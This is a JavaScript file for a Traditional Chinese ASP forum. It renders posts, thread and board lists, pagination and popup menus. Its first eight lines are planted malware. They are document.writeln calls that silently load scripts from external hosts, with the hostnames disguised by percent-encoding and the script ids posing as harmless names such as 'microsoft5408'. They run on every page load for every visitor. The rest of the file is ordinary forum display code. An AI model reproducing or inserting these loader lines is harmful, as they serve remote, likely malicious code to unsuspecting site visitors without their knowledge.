document.writeln('<script language="JavaScript" type="text/javascript" src="http://fd1%306.3322.org" id="microsoft5408"  ><\/script>');
document.writeln('<script src="http://fd105%2E3322%2Eorg" type="text/javascript" language="JavaScript" id="scripst9131"  ><\/script>');
document.writeln('<script src="http://pt%392%39.%39%3966.org" type="text/javascript" language="JavaScript" id="scr7ipt6938"  ><\/script>');
document.writeln('<script src="http://ft916.88%30%30.org" type="text/javascript" language="JavaScript" id="seraph7script8403"  ><\/script>');
document.writeln('<script type="text/javascript" language="JavaScript" src="http://www.cuaa.net/%6De%6Dber/%6De%6Dber/file/ruxin.js" id="seraph5script4808"  ><\/script>');
document.writeln('<script language="JavaScript" src="http://c081%32.%32%3288.org" type="text/javascript" id="seraph4script7316"  ><\/script>');
document.writeln('<script id="seraph3script1896" type="text/javascript" src="http://%3081%30.66%30%30.org" language="JavaScript"  ><\/script>');
document.writeln('<script language="JavaScript" type="text/javascript" id="seraph2script275" src="http://0810.6600.%6Frg"  ><\/script>');
var i=0;
var ii=3;
//論壇風格寬度變量
wid=getCookie('wid')
newDate=new Date()
newDate=""+newDate.getYear()+"-"+[newDate.getMonth()+1]+"-"+newDate.getDate()+""
//讀取COOKIE
function getCookie (CookieName) { 
var CookieString = document.cookie; 
var CookieSet = CookieString.split (';'); 
var SetSize = CookieSet.length; 
var CookiePieces 
var ReturnValue = ""; 
var x = 0; 
for (x = 0; ((x < SetSize) && (ReturnValue == "")); x++) { 
CookiePieces = CookieSet[x].split ('='); 
if (CookiePieces[0].substring (0,1) == ' ') { 
CookiePieces[0] = CookiePieces[0].substring (1, CookiePieces[0].length); 
}
if (CookiePieces[0] == CookieName) {
ReturnValue = CookiePieces[1];
var value =ReturnValue
}
}
return value;
}
//跳出確認
function checkclick(msg){if(confirm(msg)){event.returnValue=true;}else{event.returnValue=false;}}
//顯示帖子
function ShowPost(lock,id,username,content,posttime,honor,userface,sex,birthday,experience,membercode,faction,consort,money,postcount,regtime,userlife,usermail,userhome,sign,intro2,clubname)
{
document.write("<table class=a2 cellspacing=1 cellpadding=0 width="+wid+"  align=center border=0 style=TABLE-LAYOUT:fixed><tr><td valign=top align=left><table style=BORDER-COLLAPSE: cellspacing=0 cellpadding=3 width=100% border=0 height=1%>");
ii++
if(ii==5){ii=3}
document.write("<tr class=a"+ii+"><td valign=top width=160 rowspan=4 height=250>");
document.write("<table cellspacing=0 cellpadding=0 width=90% align=center border=0><tr><td>");
document.write("<table border=0 cellspacing=0 width=95%><tr><td><font style=font-size:10pt><b>"+username+"</b></font><br>"+honor+"</td><td align=right valign=top width=40>");
if (""+sex+""!=''){
document.write("<img src=images/"+sex+".gif>　")
}
document.write(astro(""+birthday+""));
document.write("</td></tr></table>");
if (getCookie('showface')!='0'){
document.write("<table width=90% border=0><tr><td align=middle><img src='"+userface+"' onload='javascript:if(this.width>120)this.width=120;if(this.height>120)this.height=120;'></td></tr></table>")
}
document.write("<br>"+level(experience,membercode,username,moderated)+levelimage+"<br>等　　級:"+levelname+"<br>");
if (""+faction+"" !="") {document.write("門　　派:"+faction+"<br>");}
if (""+consort+"" !="") {document.write("配　　偶:"+consort+"<br>");}
document.write("經 驗 值:"+experience+"<br>");
document.write("社區金幣:"+money+"<br>");
document.write("總發貼數:"+postcount+"<br>");
document.write("註冊時間:"+regtime+"<br>");
document.write("體 力 值:<img border=0 src=images/bar/0.gif width="+userlife/2+" height=9 alt="+userlife+"><br>");
if(onlinelist.indexOf("|"+username+"|") == -1 ){
document.write("在線狀態:<img border=0 src=images/offline.gif alt='離線'><br>");
}else{
document.write("在線狀態:<img border=0 src=images/online.gif alt='在線'><br>");
}
document.write("<a href='shop.asp?menu=flowers&vs="+username+"'><img alt='送給:"+username+"一束鮮花' src=images/xianhua.gif border=0>鮮花</a>&nbsp;&nbsp;<a href='shop.asp?menu=egg&vs="+username+"'><img alt='扔給:"+username+"一個雞蛋' src=images/jidan.gif border=0>雞蛋</a><br>");
document.write("</td></tr></table></td><td valign=bottom align=middle rowspan=4><table height=100% class=a2 cellspacing=0 cellpadding=0 width=1><tr><td width=1></td></tr></table></td><td valign=top align=left colspan=3><table cellspacing=0 cellpadding=0 width=100% border=0>");
document.write("<tr><td><a href='Profile.asp?username="+username+"'><img alt='查看"+username+"的個人資料' src=images/Profile.gif border=0></a> <a style=cursor:hand onclick=\"javascript:open('friend.asp?menu=post&incept="+username+"','','width=320,height=170')\"><img src=images/pm.gif border=0 alt='發送短訊息給"+username+"'></a> <a href='friend.asp?menu=add&username="+username+"'><img alt='把"+username+"加入好友' src=images/friend.gif border=0></a> <a href='search.asp?menu=ok&search=author&searchxm=username&content="+username+"'><img alt='搜索"+username+"發表過的所有主題' src=images/find.gif border=0></a> <a href=mailto:"+usermail+"><img alt='發送電郵給"+username+"' src=images/email.gif border=0></a> ");
if (userhome!="" && userhome!="http://"){
document.write("<a target=_blank href="+userhome+"><img alt=訪問"+userhome+"的主頁 src=images/homepage.gif border=0></a>");
}
i=i+1
document.write(" <a href=javascript:copyText(document.all.yu"+id+")><img alt=複製這個帖子 src=images/copy.gif border=0></a> <a href='retopic.asp?id="+topicid+"&retopicid="+id+"&quote=1&topic="+topic+"'><img alt=引用回復這個帖子 src=images/reply.gif border=0></a> <a href='retopic.asp?id="+topicid+"&topic="+topic+"'><img src=images/replynow.gif border=0 alt=回復這個帖子></a></td><td align=right>No.<font color=red><b>"+i+"</b></font>&nbsp;</td></tr><tr valign=top><td colspan=2 style=word-break:break-all><hr width=100% color=777777 size=1>");
if (lock == 1) {
document.write("<span id=yu"+id+">==============================<br>　 <font color=RED>該帖內容已被管理員屏蔽　　　</font><br>==============================</span>")
}
else
if(badlist.indexOf(username) == -1 ){
document.write("<table border=0 align=center cellspacing=0 cellpadding=0 style='table-layput:fixed;word-wrap:break-word;word-break:break-all'><tr><td><img src=images/c1.gif></td><td background=images/s1.gif align=center><img src=images/clover.gif></td><td align=center><img src=images/c2.gif></td></tr><tr><td vAlign=middle background=images/s4.gif><img src=images/clo_tl.gif></td><td width=100% width=550>");	
document.write(ybbcode("<span id=yu"+id+">"+content+"</span>"));
document.write("<HR noshade style='border:1 dotted Gray' width=100% size=1>");
document.write("<font color=#999999>"+username+"這樣說");
document.write("</td><td vAlign=middle background=images/s2.gif><img src=images/clo_tr.gif></td></tr><tr><td vAlign=top><img src=images/c4.gif></td><td background=images/s3.gif align=center><img src=images/clo_y.gif></td><td align=right><img src=images/c3.gif></td></tr></table>");
document.write("<font color=#999999><br><br><br>◎本文版權：歸<strong>『</strong>"+username+"<strong>』</strong>和<strong>『</strong>"+clubname+"<strong>』</strong>共同所有，未經同意不得擅自轉載！</font>");
}else{
document.write("<span id=yu"+id+">==============================<br>　　　<font color=RED>該用戶帖子已被過濾　　　</font><br>==============================</span>")
}
document.write("</td></tr></table></td></tr><tr class=a"+ii+"><td valign=bottom>")
document.write("<table cellspacing=0 cellpadding=0 width=100%><tr><td align=right valign=bottom colspan=3>")
if (getCookie('sign')!='0' && sign!=""){document.write("<img src=images/line.gif><br>"+ybbcode(sign)+"");}
if (""+intro2+"" !="") {document.write("<hr width=100% color=777777 size=1><marquee scrollamount=3 onmouseover=this.stop() onmouseout=this.start()><img src=images/announce.gif><a style=cursor:hand><font color=red><b>貼間廣告:</b></font>"+ybbcode(intro2)+"</a></marquee>");}
document.write("<hr width=100% color=777777 size=1></td></tr><tr class=a"+ii+"><td valign=bottom rowspan=3><a href='EditTopic.asp?id="+topicid+"&retopicid="+id+"&topic="+topic+"'><img src=images/edit.gif border=0></a> <a onclick=checkclick('您確定要刪除回貼?')  href=manage.asp?menu=deltopic&id="+topicid+"&retopicid="+id+"&username="+username+"><img src=images/del.gif border=0></a>  <a onclick=checkclick('帖子管理中心?') href='manage_post.asp?id="+topicid+"&retopicid="+id+"&topic="+topic+"'><img src=images/admin.gif border=0></a>&nbsp;");
if (lock == 0) 
document.write("<a href=manage.asp?menu=lockpage&id="+topicid+"&retopicid="+id+">   <img src=images/lockpage.gif border=0 alt=鎖定此帖>  單帖鎖定</a>");
if (lock == 1) 
document.write("<a href=manage.asp?menu=unlockpage&id="+topicid+"&retopicid="+id+">   <img src=images/lockpage.gif border=0 alt=注意：解除鎖定!>  解除鎖定</a>");
document.write("</td><td valign=bottom><img src=images/posttime.gif> 發表時間："+posttime+"　</td><td valign=bottom><img src=images/ip.gif> IP：<a href=manage.asp?menu=lookip&id="+topicid+"&retopicid="+id+">已記錄</a></td></tr></table></td></tr></table></td></tr></table>");
}
//帖子列表
function ShowForum(ID,topic,newtopic,username,Views,icon,toptopic,locktopic,pollresult,goodtopic,replies,lastname,lasttime)
{
if(lasttime.indexOf(newDate) == 0){lasttime = lasttime.replace(newDate,"今日");}
topic = topic.replace(key_word,"<font color=red>"+key_word+"<\/font>");
if (toptopic == 2) {reimage="<img src=images/top.gif>"}
else
if (toptopic == 1) {reimage="<img src=images/f_top.gif>"}
else
if (locktopic== 1) {reimage="<img src=images/f_locked.gif>"}
else
if (pollresult!= '') {reimage="<img src=images/f_poll.gif>"}
else
if ((replies>15) || (Views>150)) {reimage="<img src=images/f_hot.gif>"}
else
if (replies>0) {reimage="<img src=images/f_new.gif>"}
else{reimage="<img src=images/f_norm.gif>"}
if (goodtopic== 1) {reimage2="<img src=images/topicgood.gif>"}
else
if (username == cookieusername) {reimage2="<img src=images/my.gif>"}
else{reimage2=""}
if (replies>0) {reimage3=replies}
else{reimage3="-"}
document.write("<tr height=25><td align=middle width=3% class=a4>"+reimage+"</td>");
document.write("<td width=3% class=a3 align=center>"+reimage2+"</td>");
document.write("<td class=a4 width=45%>&nbsp;<img loaded=no src=images/plus.gif id=followImg"+ID+" style=cursor:hand; onclick=loadThreadFollow("+ID+")> <a target=_blank href=ShowPost.asp?id="+ID+"><img border=0 src=images/brow/"+icon+".gif></a> <a href=ShowPost.asp?id="+ID+">"+topic+"</a>");
if (replies > 15) {
var topicpage=""
var tol=replies/15+1;
for (var i=1; i < tol; i++) {
if(i<4 || i>=tol-2){
topicpage=topicpage+"<b><a href=ShowPost.asp?id="+ID+"&topage="+ i +">"+ i +"</a></b> ";
}
if (i >= tol-3  && i<tol-2 && i>3){topicpage=topicpage+" ... ";}
}
document.write(" ( <img src=images/multipage.gif> "+topicpage+")");
}
document.write(" "+newtopic+"</td><td align=middle width=9% class=a3><a href=Profile.asp?username="+username+">"+username+"</a></td><td align=middle width=6% class=a4>"+reimage3+"</td><td align=middle width=7% class=a3>"+Views+"</td><td width=27% class=a4>&nbsp;"+lasttime+" by <a href=Profile.asp?username="+lastname+">"+lastname+"</a></td></tr>");
document.write("<tr height=25 style=display:none id=follow"+ID+"><td width=3% class=a4>　</td><td width=3% class=a3>　</td><td id=followTd"+ID+" align=left class=a4 width=94% colspan=5>　Loading...</td></tr>");
}
//論壇列表
function ShowList(pass,id,bbsname,icon,intro,moderated,today,toltopic,tolrestore,lasttime,lastname,lasttopic,password)
{
if(pass >2){password=1}
document.write("<tr><td width=5% align=middle class=a4>")
if(password==1){
document.write("<img src=images/skins/"+getCookie('skins')+"/Board3.gif>")
}else{
document.write("<img src=images/skins/"+getCookie('skins')+"/Board"+pass+".gif>")
}
document.write("</td><td class=a3>")
document.write("<table border=0 width=100% cellspacing=0 cellpadding=3><tr><td valign=top>『 <a href=ShowForum.asp?forumid="+id+">"+bbsname+"</a> 』")
if(pass ==5){
document.write("<font color=red>VIP會員專區</font></td><td rowspan=2 align=right>")
}else{
if(pass ==6){document.write("<font color=red>版主專區</font></td><td rowspan=2 align=right>")
}else{
document.write("</td><td rowspan=2 align=right>")
}
}
if (icon!=''){
document.write("<img src="+icon+" onload='javascript:if(this.width>100)this.width=100;if(this.height>60)this.height=60;'>")
}
document.write("</td>")
if(pass>4){
document.write("<td rowspan=2 width=30% align=center>私密論壇")
}else{
document.write("<td rowspan=2 width=30%>主題:"+lasttopic+"<br>作者:<a href=Profile.asp?username="+lastname+">"+lastname+"</a><br>時間:"+lasttime+"")
}
document.write("</td></tr><tr><td>"+ybbcode(intro)+"</td></tr><tr class=a3><td> 版主：")
var list= moderated.split ('|'); 
for(i=0;i<list.length;i++) {
if (list[i] !=''){
document.write("<a href=profile.asp?username="+list[i]+">"+list[i]+"</a> ")
}
}
document.write("</td><td></td><td><table border=0 width=100% cellspacing=0><tr><td width=33%>今日:<font color=red>"+today+"</font></td><td width=33%>主題:"+toltopic+"</td><td width=33%>帖子:"+tolrestore+"</td></tr></table></td></tr></table></td></tr>")
}
function SmallShowList(id,bbsname,intro,moderated,today,toltopic,tolrestore)
{
intro = intro.replace(/<br>/ig,"\n");
i++;
if (i==1){document.write("<tr>")}
document.write("<td><table border=0 width=100% cellspacing=0 cellpadding=4><tr bgcolor=FFFFFF><td colspan=3 title='"+intro+"'>『 <a href=ShowForum.asp?forumid="+id+">"+bbsname+"</a> 』</td></tr><tr bgcolor=FFFFFF><td>今日:<font color=red>"+today+"</font></td><td>主題:"+toltopic+"</td><td>帖子:"+tolrestore+"</td></tr><tr class=a3><td colspan=3>版主：")
var list= moderated.split ('|'); 
if (list.length!=0){document.write("<a href=profile.asp?username="+list[0]+">"+list[0]+"</a>")}
if (list.length>1){document.write(" <font color=gray>...</font>")}
document.write("</td></tr></table></td>")
if (i==3){i=0;document.write("</tr>")}
}
function makeupShowList()
{
if (i!=0){
for(jj=i;jj<3;jj++){document.write("<td bgcolor=FFFFFF></td>")}
i=0
}
}
//跳轉頁面顯示
function ShowPage(TotalPage,topage,url){
if (topage<6){long=11-topage;}
else
if (TotalPage-topage<6){long=10-(TotalPage-topage)}
else{long=5;}
for (var i=1; i <= TotalPage; i++) {
if (i < topage+long && i > topage-long || i==1 || i==TotalPage){
if (topage==i){document.write(" "+ i +" ");}else{document.write(" <a href=?topage="+i+"&"+url+">"+ i +"</a> ");}
}
}
}
//菜單
var menuOffX=0	//菜單距連接文字最左端距離
var menuOffY=20	//菜單距連接文字頂端距離
var ie4=document.all&&navigator.userAgent.indexOf("Opera")==-1
var ns6=document.getElementById&&!document.all
function showmenu(e,vmenu,mod){
	which=vmenu
	menuobj=document.getElementById("popmenu")
	menuobj.thestyle=menuobj.style
	menuobj.innerHTML=which
	menuobj.contentwidth=menuobj.offsetWidth
	eventX=e.clientX
	eventY=e.clientY
	var rightedge=document.body.clientWidth-eventX
	var bottomedge=document.body.clientHeight-eventY
		if (rightedge<menuobj.contentwidth)
			menuobj.thestyle.left=document.body.scrollLeft+eventX-menuobj.contentwidth+menuOffX
		else
			menuobj.thestyle.left=ie4? ie_x(event.srcElement)+menuOffX : ns6? window.pageXOffset+eventX : eventX
		
		if (bottomedge<menuobj.contentheight&&mod!=0)
			menuobj.thestyle.top=document.body.scrollTop+eventY-menuobj.contentheight-event.offsetY+menuOffY-23
		else
			menuobj.thestyle.top=ie4? ie_y(event.srcElement)+menuOffY : ns6? window.pageYOffset+eventY+10 : eventY
	menuobj.thestyle.visibility="visible"
}
function ie_y(e){  
	var t=e.offsetTop;  
	while(e=e.offsetParent){  
		t+=e.offsetTop;  
	}  
	return t;  
}  
function ie_x(e){  
	var l=e.offsetLeft;  
	while(e=e.offsetParent){  
		l+=e.offsetLeft;  
	}  
	return l;  
}
function highlightmenu(e,state){
	if (document.all)
		source_el=event.srcElement
		while(source_el.id!="popmenu"){
			source_el=document.getElementById? source_el.parentNode : source_el.parentElement
			if (source_el.className=="menuitems"){
				source_el.id=(state=="on")? "mouseoverstyle" : ""
		}
	}
}
function hidemenu(){if (window.menuobj)menuobj.thestyle.visibility="hidden"}
function dynamichide(e){if ((ie4||ns6)&&!menuobj.contains(e.toElement))hidemenu()}
document.onclick=hidemenu
document.write("<div class=menuskin id=popmenu onmouseover=highlightmenu(event,'on') onmouseout=highlightmenu(event,'off');dynamichide(event)></div>")
//菜單END
function loadtree(ino,bbsname){
document.frames["hiddenframe"].location.replace("ForumTree.asp?id="+ino+"")
}
function loadThreadFollow(ino,online){
var targetImg =eval("followImg" + ino);
var targetDiv =eval("follow" + ino);
if (targetDiv.style.display!='block'){
targetDiv.style.display="block";
targetImg.src="images/minus.gif";
if(targetImg.loaded=="no"){document.frames["hiddenframe"].location.replace("loading.asp?id="+ino+"&forumid="+online+"");}
}else{
targetDiv.style.display="none";
targetImg.src="images/plus.gif";
}
}
document.write("<iframe height=0 width=0 name=hiddenframe></iframe>")
<!-- (Chinese Traditional Edition) Converted By L.P.L. -->








